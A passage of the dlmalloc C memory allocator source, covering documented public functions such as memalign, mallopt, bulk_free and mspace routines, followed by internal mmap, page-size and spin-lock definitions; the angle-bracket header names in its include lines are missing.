greater power is used. 8-byte alignment is guaranteed by normal malloc calls, so don't bother calling memalign with an argument of 8 or less. Overreliance on memalign is a sure way to fragment space. */ DLMALLOC_EXPORT void* dlmemalign(size_t, size_t); /* int posix_memalign(void** pp, size_t alignment, size_t n); Allocates a chunk of n bytes, aligned in accord with the alignment argument. Differs from memalign only in that it (1) assigns the allocated memory to *pp rather than returning it, (2) fails and returns EINVAL if the alignment is not a power of two (3) fails and returns ENOMEM if memory cannot be allocated. */ DLMALLOC_EXPORT int dlposix_memalign(void**, size_t, size_t); /* valloc(size_t n); Equivalent to memalign(pagesize, n), where pagesize is the page size of the system. If the pagesize is unknown, 4096 is used. */ DLMALLOC_EXPORT void* dlvalloc(size_t); /* mallopt(int parameter_number, int parameter_value) Sets tunable parameters The format is to provide a (parameter-number, parameter-value) pair. mallopt then sets the corresponding parameter to the argument value if it can (i.e., so long as the value is meaningful), and returns 1 if successful else 0. To workaround the fact that mallopt is specified to use int, not size_t parameters, the value -1 is specially treated as the maximum unsigned size_t value. SVID/XPG/ANSI defines four standard param numbers for mallopt, normally defined in malloc.h. None of these are use in this malloc, so setting them has no effect. But this malloc also supports other options in mallopt. See below for details. Briefly, supported parameters are as follows (listed defaults are for "typical" configurations). Symbol param # default allowed param values M_TRIM_THRESHOLD -1 2*1024*1024 any (-1 disables) M_GRANULARITY -2 page size any power of 2 >= page size M_MMAP_THRESHOLD -3 256*1024 any (or 0 if no MMAP support) */ DLMALLOC_EXPORT int dlmallopt(int, int); /* malloc_footprint(); Returns the number of bytes obtained from the system. The total number of bytes allocated by malloc, realloc etc., is less than this value. Unlike mallinfo, this function returns only a precomputed result, so can be called frequently to monitor memory consumption. Even if locks are otherwise defined, this function does not use them, so results might not be up to date. */ DLMALLOC_EXPORT size_t dlmalloc_footprint(void); /* malloc_max_footprint(); Returns the maximum number of bytes obtained from the system. This value will be greater than current footprint if deallocated space has been reclaimed by the system. The peak number of bytes allocated by malloc, realloc etc., is less than this value. Unlike mallinfo, this function returns only a precomputed result, so can be called frequently to monitor memory consumption. Even if locks are otherwise defined, this function does not use them, so results might not be up to date. */ DLMALLOC_EXPORT size_t dlmalloc_max_footprint(void); /* malloc_footprint_limit(); Returns the number of bytes that the heap is allowed to obtain from the system, returning the last value returned by malloc_set_footprint_limit, or the maximum size_t value if never set. The returned value reflects a permission. There is no guarantee that this number of bytes can actually be obtained from the system. */ DLMALLOC_EXPORT size_t dlmalloc_footprint_limit(void); /* malloc_set_footprint_limit(); Sets the maximum number of bytes to obtain from the system, causing failure returns from malloc and related functions upon attempts to exceed this value. The argument value may be subject to page rounding to an enforceable limit; this actual value is returned. Using an argument of the maximum possible size_t effectively disables checks. If the argument is less than or equal to the current malloc_footprint, then all future allocations that require additional system memory will fail. However, invocation cannot retroactively deallocate existing used memory. */ DLMALLOC_EXPORT size_t dlmalloc_set_footprint_limit(size_t bytes); #if MALLOC_INSPECT_ALL /* malloc_inspect_all(void(*handler)(void *start, void *end, size_t used_bytes, void* callback_arg), void* arg); Traverses the heap and calls the given handler for each managed region, skipping all bytes that are (or may be) used for bookkeeping purposes. Traversal does not include include chunks that have been directly memory mapped. Each reported region begins at the start address, and continues up to but not including the end address. The first used_bytes of the region contain allocated data. If used_bytes is zero, the region is unallocated. The handler is invoked with the given callback argument. If locks are defined, they are held during the entire traversal. It is a bad idea to invoke other malloc functions from within the handler. For example, to count the number of in-use chunks with size greater than 1000, you could write: static int count = 0; void count_chunks(void* start, void* end, size_t used, void* arg) { if (used >= 1000) ++count; } then: malloc_inspect_all(count_chunks, NULL); malloc_inspect_all is compiled only if MALLOC_INSPECT_ALL is defined. */ DLMALLOC_EXPORT void dlmalloc_inspect_all(void(*handler)(void*, void *, size_t, void*), void* arg); #endif /* MALLOC_INSPECT_ALL */ #if !NO_MALLINFO /* mallinfo() Returns (by copy) a struct containing various summary statistics: arena: current total non-mmapped bytes allocated from system ordblks: the number of free chunks smblks: always zero. hblks: current number of mmapped regions hblkhd: total bytes held in mmapped regions usmblks: the maximum total allocated space. This will be greater than current total if trimming has occurred. fsmblks: always zero uordblks: current total allocated space (normal or mmapped) fordblks: total free space keepcost: the maximum number of bytes that could ideally be released back to system via malloc_trim. ("ideally" means that it ignores page restrictions etc.) Because these fields are ints, but internal bookkeeping may be kept as longs, the reported values may wrap around zero and thus be inaccurate. */ DLMALLOC_EXPORT struct mallinfo dlmallinfo(void); #endif /* NO_MALLINFO */ /* independent_calloc(size_t n_elements, size_t element_size, void* chunks[]); independent_calloc is similar to calloc, but instead of returning a single cleared space, it returns an array of pointers to n_elements independent elements that can hold contents of size elem_size, each of which starts out cleared, and can be independently freed, realloc'ed etc. The elements are guaranteed to be adjacently allocated (this is not guaranteed to occur with multiple callocs or mallocs), which may also improve cache locality in some applications. The "chunks" argument is optional (i.e., may be null, which is probably the most typical usage). If it is null, the returned array is itself dynamically allocated and should also be freed when it is no longer needed. Otherwise, the chunks array must be of at least n_elements in length. It is filled in with the pointers to the chunks. In either case, independent_calloc returns this pointer array, or null if the allocation failed. If n_elements is zero and "chunks" is null, it returns a chunk representing an array with zero elements (which should be freed if not wanted). Each element must be freed when it is no longer needed. This can be done all at once using bulk_free. independent_calloc simplifies and speeds up implementations of many kinds of pools. It may also be useful when constructing large data structures that initially have a fixed number of fixed-sized nodes, but the number is not known at compile time, and some of the nodes may later need to be freed. For example: struct Node { int item; struct Node* next; }; struct Node* build_list() { struct Node** pool; int n = read_number_of_nodes_needed(); if (n <= 0) return 0; pool = (struct Node**)(independent_calloc(n, sizeof(struct Node), 0); if (pool == 0) die(); // organize into a linked list... struct Node* first = pool[0]; for (i = 0; i < n-1; ++i) pool[i]->next = pool[i+1]; free(pool); // Can now free the array (or not, if it is needed later) return first; } */ DLMALLOC_EXPORT void** dlindependent_calloc(size_t, size_t, void**); /* independent_comalloc(size_t n_elements, size_t sizes[], void* chunks[]); independent_comalloc allocates, all at once, a set of n_elements chunks with sizes indicated in the "sizes" array. It returns an array of pointers to these elements, each of which can be independently freed, realloc'ed etc. The elements are guaranteed to be adjacently allocated (this is not guaranteed to occur with multiple callocs or mallocs), which may also improve cache locality in some applications. The "chunks" argument is optional (i.e., may be null). If it is null the returned array is itself dynamically allocated and should also be freed when it is no longer needed. Otherwise, the chunks array must be of at least n_elements in length. It is filled in with the pointers to the chunks. In either case, independent_comalloc returns this pointer array, or null if the allocation failed. If n_elements is zero and chunks is null, it returns a chunk representing an array with zero elements (which should be freed if not wanted). Each element must be freed when it is no longer needed. This can be done all at once using bulk_free. independent_comallac differs from independent_calloc in that each element may have a different size, and also that it does not automatically clear elements. independent_comalloc can be used to speed up allocation in cases where several structs or objects must always be allocated at the same time. For example: struct Head { ... } struct Foot { ... } void send_message(char* msg) { int msglen = strlen(msg); size_t sizes[3] = { sizeof(struct Head), msglen, sizeof(struct Foot) }; void* chunks[3]; if (independent_comalloc(3, sizes, chunks) == 0) die(); struct Head* head = (struct Head*)(chunks[0]); char* body = (char*)(chunks[1]); struct Foot* foot = (struct Foot*)(chunks[2]); // ... } In general though, independent_comalloc is worth using only for larger values of n_elements. For small values, you probably won't detect enough difference from series of malloc calls to bother. Overuse of independent_comalloc can increase overall memory usage, since it cannot reuse existing noncontiguous small chunks that might be available for some of the elements. */ DLMALLOC_EXPORT void** dlindependent_comalloc(size_t, size_t*, void**); /* bulk_free(void* array[], size_t n_elements) Frees and clears (sets to null) each non-null pointer in the given array. This is likely to be faster than freeing them one-by-one. If footers are used, pointers that have been allocated in different mspaces are not freed or cleared, and the count of all such pointers is returned. For large arrays of pointers with poor locality, it may be worthwhile to sort this array before calling bulk_free. */ DLMALLOC_EXPORT size_t dlbulk_free(void**, size_t n_elements); /* pvalloc(size_t n); Equivalent to valloc(minimum-page-that-holds(n)), that is, round up n to nearest pagesize. */ DLMALLOC_EXPORT void* dlpvalloc(size_t); /* malloc_trim(size_t pad); If possible, gives memory back to the system (via negative arguments to sbrk) if there is unused memory at the `high' end of the malloc pool or in unused MMAP segments. You can call this after freeing large blocks of memory to potentially reduce the system-level memory requirements of a program. However, it cannot guarantee to reduce memory. Under some allocation patterns, some large free blocks of memory will be locked between two used chunks, so they cannot be given back to the system. The `pad' argument to malloc_trim represents the amount of free trailing space to leave untrimmed. If this argument is zero, only the minimum amount of memory to maintain internal data structures will be left. Non-zero arguments can be supplied to maintain enough trailing space to service future expected allocations without having to re-obtain memory from the system. Malloc_trim returns 1 if it actually released any memory, else 0. */ DLMALLOC_EXPORT int dlmalloc_trim(size_t); /* malloc_stats(); Prints on stderr the amount of space obtained from the system (both via sbrk and mmap), the maximum amount (which may be more than current if malloc_trim and/or munmap got called), and the current number of bytes allocated via malloc (or realloc, etc) but not yet freed. Note that this is the number of bytes allocated, not the number requested. It will be larger than the number requested because of alignment and bookkeeping overhead. Because it includes alignment wastage as being in use, this figure may be greater than zero even when no user-level chunks are allocated. The reported current and maximum system memory can be inaccurate if a program makes other calls to system memory allocation functions (normally sbrk) outside of malloc. malloc_stats prints only the most commonly interesting statistics. More information can be obtained by calling mallinfo. */ DLMALLOC_EXPORT void dlmalloc_stats(void); /* malloc_usable_size(void* p); Returns the number of bytes you can actually use in an allocated chunk, which may be more than you requested (although often not) due to alignment and minimum size constraints. You can use this many bytes without worrying about overwriting other allocated objects. This is not a particularly great programming practice. malloc_usable_size can be more useful in debugging and assertions, for example: p = malloc(n); assert(malloc_usable_size(p) >= 256); */ size_t dlmalloc_usable_size(void*); #endif /* ONLY_MSPACES */ #if MSPACES /* mspace is an opaque type representing an independent region of space that supports mspace_malloc, etc. */ typedef void* mspace; /* create_mspace creates and returns a new independent space with the given initial capacity, or, if 0, the default granularity size. It returns null if there is no system memory available to create the space. If argument locked is non-zero, the space uses a separate lock to control access. The capacity of the space will grow dynamically as needed to service mspace_malloc requests. You can control the sizes of incremental increases of this space by compiling with a different DEFAULT_GRANULARITY or dynamically setting with mallopt(M_GRANULARITY, value). */ DLMALLOC_EXPORT mspace create_mspace(size_t capacity, int locked); /* destroy_mspace destroys the given space, and attempts to return all of its memory back to the system, returning the total number of bytes freed. After destruction, the results of access to all memory used by the space become undefined. */ DLMALLOC_EXPORT size_t destroy_mspace(mspace msp); /* create_mspace_with_base uses the memory supplied as the initial base of a new mspace. Part (less than 128*sizeof(size_t) bytes) of this space is used for bookkeeping, so the capacity must be at least this large. (Otherwise 0 is returned.) When this initial space is exhausted, additional memory will be obtained from the system. Destroying this space will deallocate all additionally allocated space (if possible) but not the initial base. */ DLMALLOC_EXPORT mspace create_mspace_with_base(void* base, size_t capacity, int locked); /* mspace_track_large_chunks controls whether requests for large chunks are allocated in their own untracked mmapped regions, separate from others in this mspace. By default large chunks are not tracked, which reduces fragmentation. However, such chunks are not necessarily released to the system upon destroy_mspace. Enabling tracking by setting to true may increase fragmentation, but avoids leakage when relying on destroy_mspace to release all memory allocated using this space. The function returns the previous setting. */ DLMALLOC_EXPORT int mspace_track_large_chunks(mspace msp, int enable); /* mspace_malloc behaves as malloc, but operates within the given space. */ DLMALLOC_EXPORT void* mspace_malloc(mspace msp, size_t bytes); /* mspace_free behaves as free, but operates within the given space. If compiled with FOOTERS==1, mspace_free is not actually needed. free may be called instead of mspace_free because freed chunks from any space are handled by their originating spaces. */ DLMALLOC_EXPORT void mspace_free(mspace msp, void* mem); /* mspace_realloc behaves as realloc, but operates within the given space. If compiled with FOOTERS==1, mspace_realloc is not actually needed. realloc may be called instead of mspace_realloc because realloced chunks from any space are handled by their originating spaces. */ DLMALLOC_EXPORT void* mspace_realloc(mspace msp, void* mem, size_t newsize); /* mspace_calloc behaves as calloc, but operates within the given space. */ DLMALLOC_EXPORT void* mspace_calloc(mspace msp, size_t n_elements, size_t elem_size); /* mspace_memalign behaves as memalign, but operates within the given space. */ DLMALLOC_EXPORT void* mspace_memalign(mspace msp, size_t alignment, size_t bytes); /* mspace_independent_calloc behaves as independent_calloc, but operates within the given space. */ DLMALLOC_EXPORT void** mspace_independent_calloc(mspace msp, size_t n_elements, size_t elem_size, void* chunks[]); /* mspace_independent_comalloc behaves as independent_comalloc, but operates within the given space. */ DLMALLOC_EXPORT void** mspace_independent_comalloc(mspace msp, size_t n_elements, size_t sizes[], void* chunks[]); /* mspace_footprint() returns the number of bytes obtained from the system for this space. */ DLMALLOC_EXPORT size_t mspace_footprint(mspace msp); /* mspace_max_footprint() returns the peak number of bytes obtained from the system for this space. */ DLMALLOC_EXPORT size_t mspace_max_footprint(mspace msp); #if !NO_MALLINFO /* mspace_mallinfo behaves as mallinfo, but reports properties of the given space. */ DLMALLOC_EXPORT struct mallinfo mspace_mallinfo(mspace msp); #endif /* NO_MALLINFO */ /* malloc_usable_size(void* p) behaves the same as malloc_usable_size; */ DLMALLOC_EXPORT size_t mspace_usable_size(const void* mem); /* mspace_malloc_stats behaves as malloc_stats, but reports properties of the given space. */ DLMALLOC_EXPORT void mspace_malloc_stats(mspace msp); /* mspace_trim behaves as malloc_trim, but operates within the given space. */ DLMALLOC_EXPORT int mspace_trim(mspace msp, size_t pad); /* An alias for mallopt. */ DLMALLOC_EXPORT int mspace_mallopt(int, int); #endif /* MSPACES */ #ifdef __cplusplus } /* end of extern "C" */ #endif /* __cplusplus */ /* ======================================================================== To make a fully customizable malloc.h header file, cut everything above this line, put into file malloc.h, edit to suit, and #include it on the next line, as well as in programs that use this malloc. ======================================================================== */ /* #include "malloc.h" */ /*------------------------------ internal #includes ---------------------- */ #ifdef _MSC_VER #pragma warning( disable : 4146 ) /* no "unsigned" warnings */ #endif /* _MSC_VER */ #if !NO_MALLOC_STATS #include /* for printing in malloc_stats */ #endif /* NO_MALLOC_STATS */ #ifndef LACKS_ERRNO_H #include /* for MALLOC_FAILURE_ACTION */ #endif /* LACKS_ERRNO_H */ #ifdef DEBUG #if ABORT_ON_ASSERT_FAILURE #undef assert #define assert(x) if(!(x)) ABORT #else /* ABORT_ON_ASSERT_FAILURE */ #include #endif /* ABORT_ON_ASSERT_FAILURE */ #else /* DEBUG */ #ifndef assert #define assert(x) #endif #define DEBUG 0 #endif /* DEBUG */ #if !defined(WIN32) && !defined(LACKS_TIME_H) #include /* for magic initialization */ #endif /* WIN32 */ #ifndef LACKS_STDLIB_H #include /* for abort() */ #endif /* LACKS_STDLIB_H */ #ifndef LACKS_STRING_H #include /* for memset etc */ #endif /* LACKS_STRING_H */ #if USE_BUILTIN_FFS #ifndef LACKS_STRINGS_H #include /* for ffs */ #endif /* LACKS_STRINGS_H */ #endif /* USE_BUILTIN_FFS */ #if HAVE_MMAP #ifndef LACKS_SYS_MMAN_H /* On some versions of linux, mremap decl in mman.h needs __USE_GNU set */ #if (defined(linux) && !defined(__USE_GNU)) #define __USE_GNU 1 #include /* for mmap */ #undef __USE_GNU #else #include /* for mmap */ #endif /* linux */ #endif /* LACKS_SYS_MMAN_H */ #ifndef LACKS_FCNTL_H #include #endif /* LACKS_FCNTL_H */ #endif /* HAVE_MMAP */ #ifndef LACKS_UNISTD_H #include /* for sbrk, sysconf */ #else /* LACKS_UNISTD_H */ #if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) extern void* sbrk(ptrdiff_t); #endif /* FreeBSD etc */ #endif /* LACKS_UNISTD_H */ /* Declarations for locking */ #if USE_LOCKS #ifndef WIN32 #if defined (__SVR4) && defined (__sun) /* solaris */ #include #elif !defined(LACKS_SCHED_H) #include #endif /* solaris or LACKS_SCHED_H */ #if (defined(USE_RECURSIVE_LOCKS) && USE_RECURSIVE_LOCKS != 0) || !USE_SPIN_LOCKS #include #endif /* USE_RECURSIVE_LOCKS ... */ #elif defined(_MSC_VER) #ifndef _M_AMD64 /* These are already defined on AMD64 builds */ #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ LONG __cdecl _InterlockedCompareExchange(LONG volatile *Dest, LONG Exchange, LONG Comp); LONG __cdecl _InterlockedExchange(LONG volatile *Target, LONG Value); #ifdef __cplusplus } #endif /* __cplusplus */ #endif /* _M_AMD64 */ #pragma intrinsic (_InterlockedCompareExchange) #pragma intrinsic (_InterlockedExchange) #define interlockedcompareexchange _InterlockedCompareExchange #define interlockedexchange _InterlockedExchange #elif defined(WIN32) && defined(__GNUC__) #define interlockedcompareexchange(a, b, c) __sync_val_compare_and_swap(a, c, b) #define interlockedexchange __sync_lock_test_and_set #endif /* Win32 */ #else /* USE_LOCKS */ #endif /* USE_LOCKS */ #ifndef LOCK_AT_FORK #define LOCK_AT_FORK 0 #endif /* Declarations for bit scanning on win32 */ #if defined(_MSC_VER) && _MSC_VER>=1300 #ifndef BitScanForward /* Try to avoid pulling in WinNT.h */ #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ unsigned char _BitScanForward(unsigned long *index, unsigned long mask); unsigned char _BitScanReverse(unsigned long *index, unsigned long mask); #ifdef __cplusplus } #endif /* __cplusplus */ #define BitScanForward _BitScanForward #define BitScanReverse _BitScanReverse #pragma intrinsic(_BitScanForward) #pragma intrinsic(_BitScanReverse) #endif /* BitScanForward */ #endif /* defined(_MSC_VER) && _MSC_VER>=1300 */ #ifndef WIN32 #ifndef malloc_getpagesize # ifdef _SC_PAGESIZE /* some SVR4 systems omit an underscore */ # ifndef _SC_PAGE_SIZE # define _SC_PAGE_SIZE _SC_PAGESIZE # endif # endif # ifdef _SC_PAGE_SIZE # define malloc_getpagesize sysconf(_SC_PAGE_SIZE) # else # if defined(BSD) || defined(DGUX) || defined(HAVE_GETPAGESIZE) extern size_t getpagesize(); # define malloc_getpagesize getpagesize() # else # ifdef WIN32 /* use supplied emulation of getpagesize */ # define malloc_getpagesize getpagesize() # else # ifndef LACKS_SYS_PARAM_H # include # endif # ifdef EXEC_PAGESIZE # define malloc_getpagesize EXEC_PAGESIZE # else # ifdef NBPG # ifndef CLSIZE # define malloc_getpagesize NBPG # else # define malloc_getpagesize (NBPG * CLSIZE) # endif # else # ifdef NBPC # define malloc_getpagesize NBPC # else # ifdef PAGESIZE # define malloc_getpagesize PAGESIZE # else /* just guess */ # define malloc_getpagesize ((size_t)4096U) # endif # endif # endif # endif # endif # endif # endif #endif #endif /* ------------------- size_t and alignment properties -------------------- */ /* The byte and bit size of a size_t */ #define SIZE_T_SIZE (sizeof(size_t)) #define SIZE_T_BITSIZE (sizeof(size_t) << 3) /* Some constants coerced to size_t */ /* Annoying but necessary to avoid errors on some platforms */ #define SIZE_T_ZERO ((size_t)0) #define SIZE_T_ONE ((size_t)1) #define SIZE_T_TWO ((size_t)2) #define SIZE_T_FOUR ((size_t)4) #define TWO_SIZE_T_SIZES (SIZE_T_SIZE<<1) #define FOUR_SIZE_T_SIZES (SIZE_T_SIZE<<2) #define SIX_SIZE_T_SIZES (FOUR_SIZE_T_SIZES+TWO_SIZE_T_SIZES) #define HALF_MAX_SIZE_T (MAX_SIZE_T / 2U) /* The bit mask value corresponding to MALLOC_ALIGNMENT */ #define CHUNK_ALIGN_MASK (MALLOC_ALIGNMENT - SIZE_T_ONE) /* True if address a has acceptable alignment */ #define is_aligned(A) (((size_t)((A)) & (CHUNK_ALIGN_MASK)) == 0) /* the number of bytes to offset an address to align it */ #define align_offset(A)\ ((((size_t)(A) & CHUNK_ALIGN_MASK) == 0)? 0 :\ ((MALLOC_ALIGNMENT - ((size_t)(A) & CHUNK_ALIGN_MASK)) & CHUNK_ALIGN_MASK)) /* -------------------------- MMAP preliminaries ------------------------- */ /* If HAVE_MORECORE or HAVE_MMAP are false, we just define calls and checks to fail so compiler optimizer can delete code rather than using so many "#if"s. */ /* MORECORE and MMAP must return MFAIL on failure */ #define MFAIL ((void*)(MAX_SIZE_T)) #define CMFAIL ((char*)(MFAIL)) /* defined for convenience */ #if HAVE_MMAP #ifndef WIN32 #define MUNMAP_DEFAULT(a, s) munmap((a), (s)) #define MMAP_PROT (PROT_READ|PROT_WRITE) #if !defined(MAP_ANONYMOUS) && defined(MAP_ANON) #define MAP_ANONYMOUS MAP_ANON #endif /* MAP_ANON */ #ifdef MAP_ANONYMOUS #define MMAP_FLAGS (MAP_PRIVATE|MAP_ANONYMOUS) #define MMAP_DEFAULT(s) mmap(0, (s), MMAP_PROT, MMAP_FLAGS, -1, 0) #else /* MAP_ANONYMOUS */ /* Nearly all versions of mmap support MAP_ANONYMOUS, so the following is unlikely to be needed, but is supplied just in case. */ #define MMAP_FLAGS (MAP_PRIVATE) static int dev_zero_fd = -1; /* Cached file descriptor for /dev/zero. */ #define MMAP_DEFAULT(s) ((dev_zero_fd < 0) ? \ (dev_zero_fd = open("/dev/zero", O_RDWR), \ mmap(0, (s), MMAP_PROT, MMAP_FLAGS, dev_zero_fd, 0)) : \ mmap(0, (s), MMAP_PROT, MMAP_FLAGS, dev_zero_fd, 0)) #endif /* MAP_ANONYMOUS */ #define DIRECT_MMAP_DEFAULT(s) MMAP_DEFAULT(s) #else /* WIN32 */ /* Win32 MMAP via VirtualAlloc */ static FORCEINLINE void* win32mmap(size_t size) { void* ptr = VirtualAlloc(0, size, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); return (ptr != 0)? ptr: MFAIL; } /* For direct MMAP, use MEM_TOP_DOWN to minimize interference */ static FORCEINLINE void* win32direct_mmap(size_t size) { void* ptr = VirtualAlloc(0, size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_READWRITE); return (ptr != 0)? ptr: MFAIL; } /* This function supports releasing coalesed segments */ static FORCEINLINE int win32munmap(void* ptr, size_t size) { MEMORY_BASIC_INFORMATION minfo; char* cptr = (char*)ptr; while (size) { if (VirtualQuery(cptr, &minfo, sizeof(minfo)) == 0) return -1; if (minfo.BaseAddress != cptr || minfo.AllocationBase != cptr || minfo.State != MEM_COMMIT || minfo.RegionSize > size) return -1; if (VirtualFree(cptr, 0, MEM_RELEASE) == 0) return -1; cptr += minfo.RegionSize; size -= minfo.RegionSize; } return 0; } #define MMAP_DEFAULT(s) win32mmap(s) #define MUNMAP_DEFAULT(a, s) win32munmap((a), (s)) #define DIRECT_MMAP_DEFAULT(s) win32direct_mmap(s) #endif /* WIN32 */ #endif /* HAVE_MMAP */ #if HAVE_MREMAP #ifndef WIN32 #define MREMAP_DEFAULT(addr, osz, nsz, mv) mremap((addr), (osz), (nsz), (mv)) #endif /* WIN32 */ #endif /* HAVE_MREMAP */ /** * Define CALL_MORECORE */ #if HAVE_MORECORE #ifdef MORECORE #define CALL_MORECORE(S) MORECORE(S) #else /* MORECORE */ #define CALL_MORECORE(S) MORECORE_DEFAULT(S) #endif /* MORECORE */ #else /* HAVE_MORECORE */ #define CALL_MORECORE(S) MFAIL #endif /* HAVE_MORECORE */ /** * Define CALL_MMAP/CALL_MUNMAP/CALL_DIRECT_MMAP */ #if HAVE_MMAP #define USE_MMAP_BIT (SIZE_T_ONE) #ifdef MMAP #define CALL_MMAP(s) MMAP(s) #else /* MMAP */ #define CALL_MMAP(s) MMAP_DEFAULT(s) #endif /* MMAP */ #ifdef MUNMAP #define CALL_MUNMAP(a, s) MUNMAP((a), (s)) #else /* MUNMAP */ #define CALL_MUNMAP(a, s) MUNMAP_DEFAULT((a), (s)) #endif /* MUNMAP */ #ifdef DIRECT_MMAP #define CALL_DIRECT_MMAP(s) DIRECT_MMAP(s) #else /* DIRECT_MMAP */ #define CALL_DIRECT_MMAP(s) DIRECT_MMAP_DEFAULT(s) #endif /* DIRECT_MMAP */ #else /* HAVE_MMAP */ #define USE_MMAP_BIT (SIZE_T_ZERO) #define MMAP(s) MFAIL #define MUNMAP(a, s) (-1) #define DIRECT_MMAP(s) MFAIL #define CALL_DIRECT_MMAP(s) DIRECT_MMAP(s) #define CALL_MMAP(s) MMAP(s) #define CALL_MUNMAP(a, s) MUNMAP((a), (s)) #endif /* HAVE_MMAP */ /** * Define CALL_MREMAP */ #if HAVE_MMAP && HAVE_MREMAP #ifdef MREMAP #define CALL_MREMAP(addr, osz, nsz, mv) MREMAP((addr), (osz), (nsz), (mv)) #else /* MREMAP */ #define CALL_MREMAP(addr, osz, nsz, mv) MREMAP_DEFAULT((addr), (osz), (nsz), (mv)) #endif /* MREMAP */ #else /* HAVE_MMAP && HAVE_MREMAP */ #define CALL_MREMAP(addr, osz, nsz, mv) MFAIL #endif /* HAVE_MMAP && HAVE_MREMAP */ /* mstate bit set if continguous morecore disabled or failed */ #define USE_NONCONTIGUOUS_BIT (4U) /* segment bit set in create_mspace_with_base */ #define EXTERN_BIT (8U) /* --------------------------- Lock preliminaries ------------------------ */ /* When locks are defined, there is one global lock, plus one per-mspace lock. The global lock_ensures that mparams.magic and other unique mparams values are initialized only once. It also protects sequences of calls to MORECORE. In many cases sys_alloc requires two calls, that should not be interleaved with calls by other threads. This does not protect against direct calls to MORECORE by other threads not using this lock, so there is still code to cope the best we can on interference. Per-mspace locks surround calls to malloc, free, etc. By default, locks are simple non-reentrant mutexes. Because lock-protected regions generally have bounded times, it is OK to use the supplied simple spinlocks. Spinlocks are likely to improve performance for lightly contended applications, but worsen performance under heavy contention. If USE_LOCKS is > 1, the definitions of lock routines here are bypassed, in which case you will need to define the type MLOCK_T, and at least INITIAL_LOCK, DESTROY_LOCK, ACQUIRE_LOCK, RELEASE_LOCK and TRY_LOCK. You must also declare a static MLOCK_T malloc_global_mutex = { initialization values };. */ #if !USE_LOCKS #define USE_LOCK_BIT (0U) #define INITIAL_LOCK(l) (0) #define DESTROY_LOCK(l) (0) #define ACQUIRE_MALLOC_GLOBAL_LOCK() #define RELEASE_MALLOC_GLOBAL_LOCK() #else #if USE_LOCKS > 1 /* ----------------------- User-defined locks ------------------------ */ /* Define your own lock implementation here */ /* #define INITIAL_LOCK(lk) ... */ /* #define DESTROY_LOCK(lk) ... */ /* #define ACQUIRE_LOCK(lk) ... */ /* #define RELEASE_LOCK(lk) ... */ /* #define TRY_LOCK(lk) ... */ /* static MLOCK_T malloc_global_mutex = ... */ #elif USE_SPIN_LOCKS /* First, define CAS_LOCK and CLEAR_LOCK on ints */ /* Note CAS_LOCK defined to return 0 on success */ #if defined(__GNUC__)&& (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 1)) #define CAS_LOCK(sl) __sync_lock_test_and_set(sl, 1) #define CLEAR_LOCK(sl) __sync_lock_release(sl) #elif (defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__))) /* Custom spin locks for older gcc on x86 */ static FORCEINLINE int x86_cas_lock(int *sl) { int ret; int val = 1; int cmp = 0; __asm__ __volatile__ ("lock; cmpxchgl %1, %2" : "=a" (ret) : "r" (val), "m" (*(sl)), "0"(cmp) : "memory", "cc"); return ret; } static FORCEINLINE void x86_clear_lock(int* sl) { assert(*sl != 0); int prev = 0; int ret; __asm__ __volatile__ ("lock; xchgl %0, %1" : "=r" (ret) : "m" (*(sl)), "0"(prev) : "memory"); } #define CAS_LOCK(sl) x86_cas_lock(sl) #define CLEAR_LOCK(sl) x86_clear_lock(sl) #else /* Win32 MSC */ #define CAS_LOCK(sl) interlockedexchange(sl, (LONG)1) #define CLEAR_LOCK(sl) interlockedexchange (sl, (LONG)0) #endif /* ... gcc spins locks ... */ /* How to yield for a spin lock */ #define SPINS_PER_YIELD 63 #if defined(_MSC_VER) #define SLEEP_EX_DURATION 50 /* delay for yield/sleep */ #define SPIN_LOCK_YIELD SleepEx(SLEEP_EX_DURATION, FALSE) #elif defined (__SVR4) && defined (__sun) /* solaris */ #define SPIN_LOCK_YIELD thr_yield(); #elif !defined(LACKS_SCHED_H) #define SPIN_LOCK_YIELD sched_yield(); #else #define SPIN_LOCK_YIELD #endif /* ... yield ... */ #if !defined(USE_RECURSIVE_LOCKS) || USE_RECURSIVE_LOCKS == 0 /* Plain spin locks use single word (embedded in malloc_states) */ static int spin_acquire_lock(int *sl) { int spins = 0; while (*(volatile int *)sl != 0 || CAS_LOCK(sl)) { if ((++spins & SPINS_PER_YIELD) == 0) { SPIN_LOCK_YIELD; } } return 0; } #define MLOCK_T int #define TRY_LOCK(sl) !CAS_LOCK(sl) #define RELEASE_LOCK(sl) CLEAR_LOCK(sl) #define ACQUIRE_LOCK(sl) (CAS_LOCK(sl)? spin_acquire_lock(sl) : 0) #define INITIAL_LOCK(sl) (*sl = 0) #define DESTROY_LOCK(sl) (0) static MLOCK_T malloc_global_mutex = 0; #else /* USE_RECURSIVE_LOCKS */ /* types for lock owners */ #ifdef WIN32 #define THREAD_ID_T DWORD #define CURRENT_THREAD GetCurrentThreadId() #define EQ_OWNER(X,Y) ((X) == (Y)) #else /* Note: the following assume that pthread_t is a type that can be initialized to (casted) zero. If this is not the case, you will need to somehow redefine these or not use spin locks. */ #define THREAD_ID_T pthread_t #define CURRENT_THREAD pthread_self() #define EQ_OWNER(X,Y) pthread_equal(X, Y) #endif struct malloc_recursive_lock { int sl; unsigned int c; THREAD_ID_T threadid; }; #define MLOCK_T struct malloc_recursive_lock static MLOCK_T malloc_global_mutex = { 0, 0, (THREAD_ID_T)0}; static FORCEINLINE void recursive_release_lock(MLOCK_T *lk) { assert(lk->sl != 0); if (--lk->c == 0) { CLEAR_LOCK(&lk->sl); } } static FORCEINLINE int recursive_acquire_lock(MLOCK_T *lk) { THREAD_ID_T mythreadid = CURRENT_THREAD; int spins = 0; for (;;) { if (*((volatile int *)(&lk->sl)) == 0) { if (!CAS_LOCK(&lk->sl)) { lk->threadid = mythreadid; lk->c = 1; return 0; } } else if (EQ_OWNER(lk->threadid, mythreadid)) { ++lk->c; return 0; } if ((++spins & SPINS_PER_YIELD) == 0) { SPIN_LOCK_YIELD; } } } static FORCEINLINE int recursive_try_lock(MLOCK_T *lk) { THREAD_ID_T mythreadid = CURRENT_THREAD; if (*((volatile int *)(&lk->sl)) == 0) { if (!CAS_LOCK(&lk->sl)) { lk->threadid = mythreadid; lk->c = 